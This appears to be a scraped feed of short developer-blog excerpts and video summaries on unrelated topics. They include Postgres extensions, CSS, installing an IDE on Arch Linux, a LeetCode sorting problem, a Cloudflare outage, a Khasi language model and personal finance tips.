    The Search for a Native Engine As a developer who values performance and systems integrations, I felt limited by the common "Chat with DB" approach. That method often involves slow, external wrappers that pull data out of Postgres just to convert natural language into SQL. I wanted to know: why can't the database itself understand me?? My goal was a bit bold: to integrate AI directly into the Postgres kernel, making the database self-aware. This led me to a new domain, inspired by the ClickHouse open take-home challenge. The first major shock was realizing the true language of PostgreSQL extensions: C. This immediately created a conflict, as the powerful ClickHouse AI SDK I was required to use was written in C++. The Conflict: C++ is incompatible with C headers, but Postgres only provi…  ( 8 min )
    🔥 Account Abstraction (ERC-4337)
    Account Abstraction turns wallets into programmable smart accounts — In this breakdown, I explain: What ERC-4337 actually does EntryPoint + Bundler + Paymaster pipeline Why no client-side L1 changes were needed How this improves onboarding Practical examples for gaming, apps & wallets 🎥 Full video: [YouTube Link] — Kishan (Founder, OmniRadhaNexus)  ( 6 min )
    What is Anti-Harassment and Anti-Discrimination Policy
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    CSS has become too POWERFUL
    Modern CSS is amazing. It empowers us to build incredible experiences on the web, but as CSS becomes more powerful, we are beginning to see a new weak point. When I got my first job as a web developer, it was common to have to come up with different hacks to work around the limitations of CSS. Those times are long gone. Modern CSS is amazing. It has powerful layout algorithms, 3D transforms and an incredibly capable set of animation primitives. Most of the limitations of modern CSS don't actually have anything to do with its capabilities. Instead, it has to do with how we write it. For this reason, the future of CSS might not be text files, but visual editors. You might be ready to call blasphemy and close the tab in anger, but if you stick around i'll do my best to make the case. Read the full article here  ( 6 min )
    Installing Google Antigravity on Arch (And Fixing That Annoying Login Loop)
    Google just dropped Antigravity (their new Gemini-powered IDE), and naturally, I wanted to try it immediately. If you're on Arch, you probably already tried yay -S antigravity-bin and hit a wall of red text. Between the AUR servers getting hugged to death (Error 502) and the "Sign In" button refusing to actually sign you in, it's been a bit of a mess. I spent my morning figuring it out so you don't have to. Here is the proper way to get it installed and actually running. If you are lucky and the servers are up, just run: yay -S antigravity-bin Use this if yay is giving you timeouts or 502 errors. If the AUR helpers are choking, the manual git method works best. This is what finally worked for me when the servers were struggling. Clone the repository: git clone https://aur.archlinux.org/antigravity-bin.git (Note: If the official AUR link is timing out, you can try finding a GitHub mirror, but usually git handles the connection better than yay). Enter the directory: cd antigravity-bin Build and Install: makepkg -si This pulls the .deb directly from Google's servers and packages it locally, bypassing most of the AUR traffic issues. Once installed, you’ll hit the main boss: The Login Screen. This is because the app's desktop file is missing the link handler. Here is the fix: Open the desktop file: sudo nano /usr/share/applications/antigravity.desktop Scroll to the bottom and add this line (or edit MimeType if it exists): MimeType=x-scheme-handler/antigravity; Save (Ctrl+O, Enter) and exit (Ctrl+X), then update the database: sudo update-desktop-database Now, when you click Sign In, your browser should prompt you to "Open Antigravity," and you're in. If you're on a window manager like Hyprland/Sway and the redirect still won't work: Log in via browser until you see the "Success" page. Copy the URL from your address bar (starts with antigravity://). Run this in your terminal: antigravity "PASTE_YOUR_URL_HERE" Let me know in the comments if this worked for you!  ( 7 min )
    I Built TabClock — A Simple Chrome Extension That Shows How Long You Spend on Each Website
    ⭐ I Built TabClock — A Simple Chrome Extension That Shows How Long You Spend on Each Website For the last few months, I kept catching myself thinking: “I’ve only been on YouTube for a few minutes…” …and then realizing it had been way longer. So I built TabClock, a lightweight Chrome extension that helps you stay aware of your browsing habits by showing a live timer in the tab title for each website. No complexity, no dashboards, no accounts — just pure awareness. 🔗 Try it here: https://tabclock.site/ 💡 Why I built it I wanted something extremely simple: When I open a tab, I want to see exactly how long I’ve been on it If I switch tabs, the timer should pause Each site gets its own total time per day Everything stays locally in Chrome storage And it should look clean + lightweight This small thing surprisingly changed how I browse — the moment I see the time ticking, I automatically return to work faster. 🔍 What TabClock does ✔ Shows a live timer in the tab title It’s basically the “screen time for your browser,” but without the bulk. 🛠️ How I built it TabClock uses: Chrome Manifest V3 JavaScript + minimal DOM injection chrome.storage.sync for daily logs chrome.tabs + chrome.scripting APIs to inject timers A small popup UI built with HTML/CSS + Lucide icons I focused a lot on performance so it doesn’t drain CPU or cause flickering between tab switches. If anyone’s interested, I can publish a full technical breakdown or even open-source a simplified version. 🚀 Want to try it? If you want a small boost to your daily focus: 👉 Install TabClock on Chrome: https://tabclock.site/ (instant install, no signup) Would love your feedback, ideas, or optimizations! 🙌 Let’s connect If you’ve built something similar or are working on a productivity tool, I’d love to see it. Thanks for reading! 💙  ( 7 min )
    How to Create a Portfolio Monitoring System That Doesn’t Overwhelm You
    Most people don’t quit investing because it’s hard. They quit because the monitoring feels impossible — too much noise, too many metrics, too many apps, too many alerts, too many emotional spikes. A good portfolio doesn’t need constant attention. A good system makes attention unnecessary. The real solution isn’t a better dashboard. It’s a simpler monitoring architecture that prevents overwhelm, reduces anxiety, and keeps your long-term plan intact without demanding your time or emotional bandwidth. Here’s how to build a portfolio monitoring system that actually feels peaceful. Start With the Principle: Monitor for Meaning, Not Movement Stock prices move constantly. Your goals don’t. The biggest reason people feel overwhelmed is because they’re monitoring movement, not meaning. A calm por…  ( 8 min )
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    Recreate a Viral Tool Without Writing a Single Line of Code! FenjuFu ・ Nov 19  ( 5 min )
    Building a Custom OTP Input Component in React Native
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    How to Use AI to Stress-Test Your Spending Plan Without Spreadsheets
    Most budgeting advice still assumes you want to spend hours in spreadsheets, color-code categories, and manually track every transaction. But in real life? You’re busy. You’re tired. And your spending plan needs to survive weeks when you’re overwhelmed — not just the weeks when you’re motivated. This is where AI becomes the quiet superpower in your financial life. It can stress-test your spending plan in minutes, without a single formula or cell reference, and show you exactly how your budget holds up under real-world pressure. Here’s how to use AI to pressure-test your money routine in a way that’s simple, fast, and actually useful. Start With the Core Question: “What Breaks When Life Isn’t Perfect?” Most budgets only work in ideal conditions: predictable income low-stress weeks stable …  ( 8 min )
    REMI Evolved: Beyond the Agentic Postgres Challenge
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    GenAI for Engineers, What's Real, What's Not and What's Coming
    Original: https://codingcat.dev/podcast/genai-for-engineers-what-s-real-what-s-not-and-what-s-coming By the end of this post, you’ll understand: The new engineering landscape GenAI has created Practical best practices for leveraging GenAI in your work Mistakes and misconceptions you absolutely want to avoid Inspiring tools and frameworks that are already changing the game What’s on the horizon, both thrilling and a little overwhelming Let’s get started! You know the feeling—everyone’s suddenly talking about automation, agents, and how AI is about to revolutionize everything. You read about companies “eliminating jobs” thanks to GenAI, and you’re wondering… Is this really happening? Is this a threat, or is it a huge opportunity? If you’ve ever sat with those questions, you’re in good co…  ( 11 min )
    🌐 Deploying a Web Server VM and Installing IIS on Windows
    When building or testing web applications on Azure, creating a Windows Server VM and installing Internet Information Services (IIS) is a fundamental skill. IIS is Microsoft’s web server platform used for hosting websites and web applications. This guide walks you through creating a Windows VM, connecting using RDP, installing IIS, and verifying your setup. Sign in to the Azure Portal Navigate to Virtual Machines → Create Size: Standard B1s or higher Choose Authentication type: Password or Azure AD login In the Networking tab:Ensure RDP port 3389 is open for remote access Ensure RDP port 3389 is open for remote access Disable Monitoring Click Review + Create, then Create Once deployment completes: Go to the VM Overview page Increase idle time Click Connect → RDP Download the .rdp …  ( 7 min )
    REMI Superada: evolución tras el Agentic Postgres Challenge
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    สร้างตัวคำนวณเบื้องต้นสำหรับคาดเดาหุ้น
    โพสนี้เขียนโดย นาย กษิ ศรีสุวรรณ 6730614006 AISE ในการสร้างตัวคำนวณเบื้องต้นสำหรับคาดเดาหุ้น ณ ตอนนี้ ผมได้นำ LSTM หรือในชื่อ Long short-term memmory ซึ่งเป็น Algorithm ที่อยู่ใน Supervised Learning ในหัวข้อย่อย Neural Network ซึ้งพัฒนามาจาก RNN หรือ Recurrnt neural network ในความเข้าใจของผมตอนนี้ในหัวข้อ LSTM คือ Algorithm ที่แบ่งไปได้ 3 ส่วนคือ Forget gate คือ gate ที่จะตัดสินใจว่า ข้อมูลในเซลล์ควรถูกลืมหรือเก็บไว้ Input gate คือ gate ที่ตัดสินใจว่าจะนำข้อมูลใหม่เข้าเซลล์อย่างไร Output gate คือ gate ที่จะเป็นตัวเลือกข้อมูลที่จะแปลงจากเซลล์เป็น hidden state และส่ง และนี่คือแผนภาพของหน่วยการสร้าง LSTM  ( 6 min )
    Codeless Test Automation Tools — Are They Worth the Hype?
    “Create tests without writing a single line of code!” “Automate faster than ever!” Empower manual testers to become automation heroes!” But as with most trends in tech, it’s fair to pause and ask: Are codeless test automation tools really worth the hype? Or are they just another shiny buzzword? Let’s break down the good, the bad, and everything in between — in a simple, conversational way. ## Why Codeless Automation Became So Popular Before we dive into pros and cons, let’s get one thing straight… Codeless automation didn’t rise because testers suddenly got allergic to code. Teams needed speed. Codeless tools stepped in and said… And naturally, people got interested. ** ** In simple words: It’s automation built using visual workflows, drag-and-drop components, prebuilt functions, or AI ass…  ( 9 min )
    When AI Becomes Your Senior Engineer: How Beginners Level Up Faster
    Every developer remembers the feeling: knowing just enough to be dangerous, getting stuck on small problems, and wishing a senior engineer could sit beside you and explain what’s really going on. In 2026, that mentor doesn’t need to be a person—you can now pair-program with an AI system that thinks, reasons, refactors, and explains like a seasoned engineer. This changes everything for beginners. Instead of waiting years to develop intuition, they gain it through daily, on-demand mentorship—the kind that accelerates growth far beyond what traditional learning environments can offer. Why Early Developers Struggle Without Senior Guidance Junior engineers typically get stuck on: understanding why something works, not just how learning how to structure features instead of patching functions n…  ( 8 min )
    I deployed 200+ AI projects in production. Here's what actually works (and the BS you should ignore)
    TL;DR After deploying 200+ AI projects in production over 3 years (2022-2025), I've seen the same patterns repeat: 80% of AI projects fail, not because of the technology, but because of organizational chaos, unrealistic expectations, and hidden costs that nobody talks about. This article breaks down: The 5 failure patterns I see systematically (with fix strategies) Real stack comparison: Make.com vs Zapier vs n8n, ChatGPT vs Claude vs Gemini Human-in-the-Loop architecture that actually scales True Total Cost of Ownership (TCO) — spoiler: it's 5-10x your API costs EU compliance (AI Act + GDPR) you can't ignore My background: 15 years in data/automation, founder of ENDKOO (Qualiopi-certified training org in Lyon, France), consultant for enterprises ranging from SMBs to CAC40 companies. Ave…  ( 15 min )
    The Future of Developer Education: Why AI Will Replace Half Your Textbooks
    Developer education has always struggled to keep pace with the speed of technology. By the time a textbook is published—whether physical or digital—the frameworks have shifted, the best practices have evolved, and the real-world use cases have changed. In 2026, the gap between static materials and dynamic knowledge is wider than ever. AI is closing that gap. Not with more content, but with living, adaptive learning systems that transform how developers study, practice, and build. The future of developer education won’t be anchored in textbooks—it will be powered by responsive, intelligent tools that learn alongside you. Static Knowledge Doesn’t Fit a Dynamic Field Software engineering is a changing environment. New models, tools, and methods emerge at a rate no traditional curriculum can…  ( 8 min )
    Website savings: where to cut and where to stop
    Saving money on your site can be smart — or a disaster. Here’s how to do it right. Do it smart, and you’ll improve efficiency and reduce costs. Do it wrong, and users leave, bugs pile up, and revenue drops. Save on underused tools, subscriptions, and bloated hosting. Don’t cut design, UX, or dev time—users hate it. Automate and monitor for real efficiency. Check your numbers: savings without data = guessing game. Introduction You want to save money on your website. Cool. But if your “savings” crash the site, slow down pages, or break checkout, that’s not smart—that’s tragic. So, where should you save, and where should you definitely not? Let’s break it down. Hosting you don’t use – If you’re paying for giant servers that sit idle most of the time, downsize or switch to …  ( 7 min )
    What Is Worqlo? Turning Natural Language Into Deterministic Workflows
    Most teams don’t suffer from a lack of data. They suffer because the path to that data is slow: dashboards, spreadsheets, custom reports, Slack messages, and internal tools that all require different interfaces. A simple question like “Which deals are stalled?” can take 5–10 minutes of navigation. Worqlo tries to remove that friction by adding a conversational layer on top of enterprise workflows. Users ask questions in plain language, and Worqlo turns them into safe, deterministic actions across CRMs and internal tools. This post breaks down what Worqlo is for engineers, how it works under the hood, and why this model is becoming more practical than UI-driven workflows. Enterprise work is fragmented because every tool has its own UI. Engineers end up building: custom dashboard filters int…  ( 8 min )
    The Overwhelmed Developer: Drowning in the Deep End of the Tech Pool
    Anyone else remember the good old days? Back in 2001, armed with VB6, classic ASP, and SQL 7.5, we meticulously crafted applications. Manuals were our Stack Overflow, UI standards were gospel, and a six-month design phase was just the process. Deployments involved a prayer and hoping someone in ops dropped the right files on the right servers. We were building, iterating, and sometimes, even making things better. Then a shift happened. The "how" started eclipsing the "what." Solving the tech problem became paramount, often at the expense of the business problem. "Faster and better" became the mantra, and the hole we dug got deep. The silo between development and operations birthed DevOps. Suddenly, servers were code, YAML and pipelines dictated deployments, and human error transformed into…  ( 8 min )
    A Deep Dive Into ESP-CSI: Channel State Information on ESP32 Chips
    Most people know Wi-Fi only as a way to connect phones, laptops, and IoT devices to the internet. But Wi-Fi can do much more. Espressif’s ESP-CSI (Channel State Information) technology allows ESP32-series chips to “sense” what is happening in the environment using only Wi-Fi signals—no cameras, no radar, no extra sensors. Every Wi-Fi signal changes as it passes through a room. This makes it possible to detect: Human presence Motion Gestures Indoor positioning Environmental changes And all of this works using only an ESP chip and Wi-Fi. Normally, Wi-Fi devices only report RSSI (Received Signal Strength Indicator), which is a single number representing signal strength. How each frequency of the Wi-Fi signal was changed. How much it was absorbed or reflected. How much noise is in the environm…  ( 8 min )
    I got tired of writing .cursorrules manually for every project, so I built a visual generator (Free & Open)
    Hey everyone, I've been using AI editors like Cursor and Windsurf heavily lately. The biggest game-changer for me was using context files (.cursorrules or AGENTS.md) to stop the AI from hallucinating or using old syntax. But I found myself copy-pasting the same prompts over and over or forgetting to specify things like "use functional components" or "strict typing". So, I spent this afternoon building a simple Context Generator. How it works: It’s a simple wizard that asks you 10 questions about your project (Tech stack, Coding style, Testing preferences, Personality, etc.) and instantly generates the Markdown file ready to drop into your root folder. The Stack: React + Vite Tailwind CSS It's completely free, no sign-up required. I just wanted to solve this small friction point for myself and thought it might help you guys too. Link: https://aigenta.netlify.app/  ( 6 min )
    GraphBit’s Agentic AI Mechanisms Compared to Other Agent Frameworks
    GraphBit (Rust core + workflow graph + lock‑free concurrency) Execution engine Compiled Rust core schedules a WorkflowGraph with dependency awareness, spawning ready nodes concurrently Per‑node‑type concurrency with atomics (no global semaphore); fast‑path skips permits for simple nodes Python/Node bindings delegate to the Rust executor (low overhead orchestration) What this means Lower orchestration overhead, predictable scheduling, high throughput under load GraphBit scheduling of dependency‑ready nodes // Select nodes whose dependencies are all completed let mut ready_ids: Vec = Vec::new(); for nid in remaining.iter() { let deps = graph_clone.get_dependencies(nid); if deps.iter().all(|d| completed.contains(d)) { `ready_ids.push(nid.clone());` } } Spawnin…  ( 7 min )
    Failure
    This was one of my earliest mistakes in web development. I spent hours trying to center a div using flex… but I applied flex inside the div, not on its parent. So the text got centered — but the box itself never moved. 😭 Looking back, it’s funny. At that time, it felt frustrating. But small mistakes like this are exactly what taught me how CSS actually works. We all start somewhere. 👉 What was one beginner mistake you’ll never forget?  ( 6 min )
    How We Built an AI‑Native Object Store (Tensor Streaming, Erasure Coding, QUIC, Rust)
    Over the past year my team and I have been building an AI product that needed to serve large LLM model files reliably, quickly, and privately. We assumed the existing tooling would “just work”: Git LFS Hugging Face repos S3 / MinIO generic object stores But once we started working with multi‑GB safetensors, gguf, ONNX, and datasets, everything broke in predictable and painful ways. This post explains the technical journey that led us to build Anvil — an open‑source, S3‑compatible, AI‑native object store built in Rust — and how we designed it around: Tensor‑level streaming Model‑aware indexing QUIC transport Erasure‑coded distributed storage Simple Docker deployment Multi‑region clustering gRPC APIs + S3 compatibility And why we decided to open source the entire project (Apac…  ( 8 min )
    🎨 Tailwind 3.5 Tricks for Scalable Frontends in 2025
    Tailwind CSS keeps evolving, and 2025 is all about efficiency, scalability, and maintainability. Let’s explore advanced tricks to level up your frontend without creating a mess of utility classes. @apply Instead of repeating classes, use @apply in your CSS or SCSS to create semantic, reusable patterns. ✅ Button variants ✅ Card layouts ✅ Responsive typography This gives you Tailwind speed without losing readability. Tailwind 3.5 allows arbitrary values for spacing, colors, and more. Example: bg-[color:var(--primary)] or mt-[22px]. This flexibility reduces the need for custom CSS while keeping the system consistent. Leverage tailwind.config.js for: Extending the theme Adding design tokens Managing breakpoints This keeps large projects maintainable and reduces visual inconsistencies across teams. Tailwind’s JIT compiler makes dark mode switching seamless and animations lightweight. Tips: Use dark: variants for components Animate layout changes with transition-all or motion-safe utilities Combine with Framer Motion for advanced interactions 💡 Workflow Tips Use extracting component classes to avoid huge inline class strings Pair Tailwind with Storybook for design system previews Adopt linting rules to enforce design consistency Tailwind isn’t just a utility library — it’s a scalable design framework when used thoughtfully. 📚 Tailwind CSS Docs 🧠 Tailwind @apply Guide 🛠️ Framer Motion Docs 🖼️ Frontend That Converts — Full Article 📲 Follow me for more dev tips, tools, and trends! 📸 Instagram: @tahamjp 🧠 Dev.to: @tahamjp 🐦 X.com: @tahamjp 💬 Telegram Channel: The Intelligent Interface 🔑 Interface Insider (exclusive): Join the community – share, learn, and collaborate with other members! Check out my latest dev articles and tutorials — updated weekly! Let’s keep building cool stuff 🚀  ( 7 min )
    Задача с собеседования в Google: Sort Colors
    Задача Дан массив целых чисел. Значения могут быть только 0, 1 и 2. Нужно отсортировать на месте (без доп. памяти). Использовать библиотечные функции сортировки нельзя. Например, Input: nums = [2,0,2,1,1,0] Input: nums = [2,0,1] Ссылка на leetcode: https://leetcode.com/problems/sort-colors Сортировки вроде QuickSort, MergeSort не подходят, т.к. используют дополнительную память. QuickSort - O(log(n)) для рекурсии, MergeSort - O(n) для временного массива. Простые сортировки, вроде Bubble Sort, Insertion Sort, Selection Sort дополнительной памяти не требуют и работают за O(1), но временная сложность - O(n^2). Хотелось бы побыстрее. Сортировка подсчетом вроде подходит хорошо. У нас всего 3 возможных значения, поэтому можно вначале пройти циклом по массиву, посчитать, сколько у нас нулей, еди…  ( 9 min )
    The Art of Reading Code: A Skill for Every Developer
    There's a moment in every developer's journey that quietly changes everything. It doesn't announce itself with fanfare. There's no certificate, no congratulatory email, no level-up notification. It happens when you're sitting there, staring at someone else's code—maybe it's a legacy codebase at your new job, maybe it's an open-source library you're trying to understand, maybe it's a pull request from a teammate—and suddenly, instead of seeing a wall of incomprehensible symbols, you start to see patterns. You see intent. You see the ghost of the developer who wrote it, their thought process, their constraints, their clever workarounds and their desperate hacks. You begin to read code the way you read a book, understanding not just what it says, but what it means. This is when you stop being…  ( 39 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with One Feature Most Notion setups turn into a jumbled mess because databases live in isolation—tasks, notes, and projects all compete for your attention. Jeff Su’s video shows how the Relations feature can link your databases, surface only the info you need, and let you build self-filtering templates that automatically organize new projects. It’s the foundation of a powerful command center and takes just a couple of minutes to learn. He walks you through beginner mistakes, the “correct” way to structure Notion, manual vs. automated approaches, and even provides a shareable template to follow along. Plus, you’ll find timestamps, resource links, and bonus tools to level up your productivity game. Watch on YouTube  ( 6 min )
    I Needed Date Math in Formulas, So I Built a Compiler (and Learned a Lot)
    I recently shipped a small expression language called littlewing, written in TypeScript, now in production at my company. It parses and evaluates formulas like: basePrice * (1 - discount) + seasonalBonus Marketing stores these formulas in the database, and they get evaluated at runtime. Nothing unusual so far – lots of companies do the same. But marketing now wants something bigger: “We want a visual formula builder where we can create and update our pricing logic ourselves… without developers.” Cue dramatic music. We were already using expr-eval. Great little library, but two big blockers: It has no concept of dates, but marketing needed formulas like: paymentDate < NOW() + FROM_DAYS(7) It doesn’t expose the AST, so building a visual editor on top of it would be painful. And since e…  ( 10 min )
    The Smart Founder’s Guide to SaaS MVP Development: Build Lean, Validate Fast
    To build a successful SaaS MVP, identify one painful customer problem, ship only the must have feature that solves it, and validate fast with real users. Use lean experiments, no code tools, and structured feedback to decide what to build next, or whether to pivot. A SaaS MVP (Minimum Viable Product) is the simplest working version of your software that solves one core problem for a specific audience and lets you collect real user feedback. It is not a half baked product. It is a learning tool designed to answer: “Are we building something people will actually use and pay for?” Prototype Often non-functional or partially functional Used to visualize or test UX and flows Great for internal reviews and early user interviews SaaS MVP Fully functional around one core use case …  ( 11 min )
    Migrating an ERP-Driven Storefront Using a Message-Broker Architecture (RabbitMQ)
    Modern e-commerce platforms increasingly rely on modular, API-driven components. ERPs… do not. They are deterministic, slow-moving systems built around the idea that consistency matters more than speed. Recently, when migrating a custom storefront to Solidus, a complete open source e-commerce solution built with Ruby on Rails for one of our clients, we faced this architectural tension head-on: How do you build a fast, flexible, customer-facing storefront when the ERP must remain the single source of truth for products, stock, and order states? The problem that has arisen here was ensuring the data consistency between the [Solidus](https://solidus.io/) storefront and ERP system. It was obvious that event-driven two-way communication between them needed to be established, but the question wa…  ( 11 min )
    The future of ViBE coding: 5 years ahead
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    Value Object in PHP 8: Build your own type system
    Table of content Introduction The Practical Example Analysis Integers String Values The big picture Introduction In our previous articles, we learned: how to make basic value objects how to use them in an advanced way how to make entities It's time to mix all these concepts together and apply them in a practical example. This will allow us to create a custom-type system tailored to our application, extending and improving the native one. The Practical Example Let's consider a simple yet meaningful example: a library management system. We need to design the data structures to effectively represent that domain. There's no single way to do so; it depends on the specific problem we need to solve. Analysis Before writing any code, we should understand what we need to build. There is …  ( 12 min )
    When the Internet Held Its Breath: The Day Cloudflare Took Down 20% of the Web
    It started the way most digital disasters do—quietly, almost innocently. At 6:20 AM Eastern Time on Tuesday, November 18, 2025, developers around the world began noticing something strange. Websites weren't loading. APIs were timing out. Error messages appeared where content should be. And then, all at once, the internet broke. Picture this: You're reaching for your morning coffee, opening your laptop to check the news on X (formerly Twitter), planning to queue up some Spotify for your commute, maybe tackle that design project in Canva. Instead, you're greeted with a cold, impersonal message: Internal server error on Cloudflare's network Error 500 You refresh. Nothing. You try ChatGPT—surely AI should be working, right? Nope. Same error. Claude AI? Down. Spotify? Unreachable. Even League …  ( 14 min )
    How We Built Northeast India’s First Foundational AI Model from Shillong, on Our Own Terms
    We just released Kren-M™, a production-ready bilingual foundation model for Khasi and English. No outside funding rounds. No imported talent. No compromise on local understanding. We did it internally at MWire Labs (the AI research division of MWire, a Shillong-based firm that has delivered IT systems and solutions serving 8+ million citizens since 2017). Because when it comes to Northeast languages, the deepest expertise isn’t in Bangalore or California — it’s right here in the hills. Big labs throw hundreds at Indic models. We threw eight years of on-the-ground experience. We know Khasi isn’t just tokens, it’s morphology, dialect variation, cultural nuance that only someone who grew up hearing it can capture. That’s why our tokenizer cuts Khasi token count by 36 %. That’s why the model never auto-translates unless asked. That’s why it sounds like home. Kren-M™ (Gemma-2-2B base, 2.6B params): Custom tokenizer with 2,135 Khasi/Garo tokens 5.43 M hand-cleaned Khasi sentences (proprietary — our moat) Fully task-aware SFT — natural bilingual behaviour Runs offline on 6 GB VRAM Live: https://huggingface.co/MWirelabs/Kren-M White paper: https://mwirelabs.com/models/kren-m Preprint (DOI): https://www.researchsquare.com/article/rs-8144118/v1 We also open-sourced the one of the largest public Assamese & Mizo corpora + the first Garo corpus ever. Early 2026: Expect Kren-NE, Gemma-2-9B multilingual covering Khasi, Garo, Mizo, Assamese, Meitei, Nagamese, Kokborok and more. All built the same way: local team, local data, local control. The future of Northeast AI won’t be built in glass towers far away. It will be built here, by us, for us. NEindicLLM #KhasiLLM #MeghalayaAI #NortheastAI  ( 7 min )
    🎉 Proud to share that I’ve been selected to join 𝗧𝗵𝗲𝗘𝗹𝗲𝘃𝗲 𝗧𝗲𝗮𝗺 for the 𝗞-𝗧𝗲𝗰𝗵𝗙𝗲𝘀𝘁 𝗛𝗮𝗰𝗸𝗮𝘁𝗵𝗼𝗻 𝟮𝟬𝟮𝟱!
    A post by Engr. Ipaye Babatunde  ( 6 min )
    I Nuked All My node_modules and Saved ~10GB
    The Problem: When Backups Take Forever I was backing up my entire Documents folder to an external SSD. Simple task, right? Wrong. 2 hours later, I was still watching the progress bar crawl. Not because of large video files or databases — but because of node_modules. Those tiny JavaScript files, tens of thousands of them per project, were destroying my backup speed. The issue wasn't even the disk space (though yeah, 10GB is 10GB). It was the sheer number of files. Each node_modules folder has thousands of tiny dependencies, and copying thousands of small files is painfully slow compared to a few large ones. I had dozens of old projects in my Documents folder. Projects I hadn't touched in months. Each one still carrying around its own bloated node_modules like dead weight. The Breaking Point…  ( 7 min )
    The IPv4 Decision Matrix: A Framework for Infrastructure Teams
    Every infrastructure team eventually hits the same wall: you need more IPv4 addresses, and you need them yesterday. I've seen teams burn weeks debating whether to buy or lease. The problem? They're asking the wrong question. It's not about which option is "better"—it's about which option fits your specific situation. Here's a practical framework I use to cut through the noise. Forget the marketing fluff. Your decision comes down to three numbers: Time horizon (in months) Capital availability (cash on hand vs. monthly budget) Flexibility requirements (scale up/down probability) Let me show you how to use these. Break-even (months) = Purchase Price per IP / Monthly Lease Rate With current 2026 market rates: Purchase: ~$28-30 per IP Lease: ~$0.38-0.45 per IP/month Plugging in median values: …  ( 7 min )
    Understanding CI/CD: The Backbone of Modern Software Development
    Continuous Integration (CI) and Continuous Delivery (CD) are fundamental practices in DevOps that revolutionize the software development lifecycle. By automating key processes, CI/CD enables teams to implement rapid code changes and consistently deliver high-quality applications to users. CI/CD represents a set of practices that streamline the integration and delivery of software: Continuous Integration (CI): This focuses on automating the integration of code changes from multiple contributors. When developers commit code, CI tools automatically build and test the changes, helping identify issues early. Continuous Delivery (CD): This extends the CI process, automating the deployment of applications to various environments. With CD, new features and updates can be released to users swiftl…  ( 8 min )
    Rick Beato: Where Have All The Metalheads Gone?
    Where Have All The Metalheads Gone? takes you on a headbanging trip through metal’s past, checks in on what the scene looks like today, and even speculates about where it might be headed next. Huge thanks to the Beato Club squad—over 50 dedicated supporters (from Justin Scott and Terence Mark to Piush Dahal and Toby Guidry) who keep the riff train rolling. Watch on YouTube  ( 6 min )
    Global Expansion: Unlocking Export Opportunities for Dairy Products
    The U.S. dairy industry is standing at a rare crossroads. Domestic demand remains strong, innovation is accelerating, and global markets are expanding faster than ever before - especially in regions where rising incomes, urbanization, and evolving food habits are driving an unprecedented appetite for high-quality dairy products. For small and mid-sized dairy companies across the United States, this moment represents more than just an opportunity — it’s an open gateway to global expansion, increased profitability, and long-term brand resilience. Yet tapping into the international dairy trade requires more than production strength. It demands strategic foresight, compliance mastery, and a workforce capable of executing global ambitions with precision. This article explores the landscape of d…  ( 9 min )
    Real-Time Video with the WebRTC MediaStream API
    Are you building a video conferencing, live streaming, or telehealth app? Then the WebRTC MediaStream API is your foundation. Learn how to grab camera/mic, manipulate tracks, and connect to peers — all with production-ready tips and code. 🔍 In our guide you’ll explore: What a MediaStream is and how it works in a WebRTC flow. Key interfaces like MediaStreamTrack, and methods such as getUserMedia(), addTrack(), removeTrack(). How to integrate advanced processing (Canvas, Web Audio) for custom effects. Constraints and quality tuning (video resolution, frame rate, echo cancellation). Connecting the stream into RTCPeerConnection: publishing and receiving tracks. Production best-practices: cleaning up streams, error handling, debugging via Chrome DevTools. Browser compatibility, secure contexts (HTTPS), polyfills. How Ant Media Server extends and accelerates this: ultra-low latency (200-500 ms), large-scale streaming, protocol conversion (WebRTC ↔ RTMP ↔ HLS). If you’re ready to build robust, scalable real-time video experiences — this guide is your next stop. Don’t just stream — stream smart. 👉 Read the full guide on Ant Media’s blog  ( 6 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with Relations Most Notion setups get messy when your tasks, notes, and projects live in isolated databases. This video dives into the Relations feature—just a 2-minute learn—that lets you link databases so each view only shows what’s relevant, forming the backbone of powerful Notion systems. In a hands-on walkthrough (with handy timestamps), you’ll see how to connect databases, build self-filtering templates, and automate new project setup. Plus, grab a free dupable template, explore the full Command Center course, and level up your workspace with extra resources. Watch on YouTube  ( 6 min )
    How AI Discovers Your MCP Tools?
    Streamlining PrestaShop: How AI Uncovers the Power of MCP Tools For any PrestaShop e-commerce manager, the grind of repetitive duties like generating sales reports or meticulous inventory audits can quickly consume valuable time and hinder growth. Enter the PS MCP Server and the MCP Tools Plus module: a duo designed to integrate an AI assistant directly into your online store. These innovative solutions aren't about a grand technological overhaul; they focus on practical problem-solving – saving countless hours on data analysis, automating routine reports, and empowering swift, data-backed decision-making. This article explores the synergy between these tools, without delving into deep technicalities. We will examine common operational hurdles, highlight the core capabilities of MCP Tool…  ( 12 min )
    Gemini 3 Pro vs GPT 5.1: which is better? A Complete Comparison
    Both OpenAI’s GPT-5.1 and Google’s Gemini 3 Pro represent incremental but meaningful steps in the ongoing arms race for general-purpose, multimodal AI. GPT-5.1 is a refinement of the GPT-5 line — focusing on adaptive reasoning, lower latency for simple tasks, and stylistic/personality controls for more natural conversational tone. Google’s Gemini 3 Pro pushes the frontier on multimodality, deep reasoning modes, and tight tooling for agentic workflows. GPT-5.1 (OpenAI) and Gemini 3 Pro Preview (Google/DeepMind) target overlapping but distinct tradeoffs: GPT-5.1 focuses on faster adaptive reasoning, developer workflows and coding reliability with new agent/coding tools and token/cost optimizations; Gemini 3 Pro doubles down on extreme multimodal scale (video/audio/images + very large context…  ( 14 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Summary Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic Weird Science on The Ringer’s Rewatchables, unpacking its mix of teen fantasy, sex, drugs, rock ’n’ roll and standout turns from Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo and sponsored by State Farm, this episode is a fun, nostalgia-packed romp. Don’t forget to subscribe to The Ringer-Verse and Bill Simmons YouTube channels and follow Ringer on Twitter, Facebook and Instagram for more deep dives! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
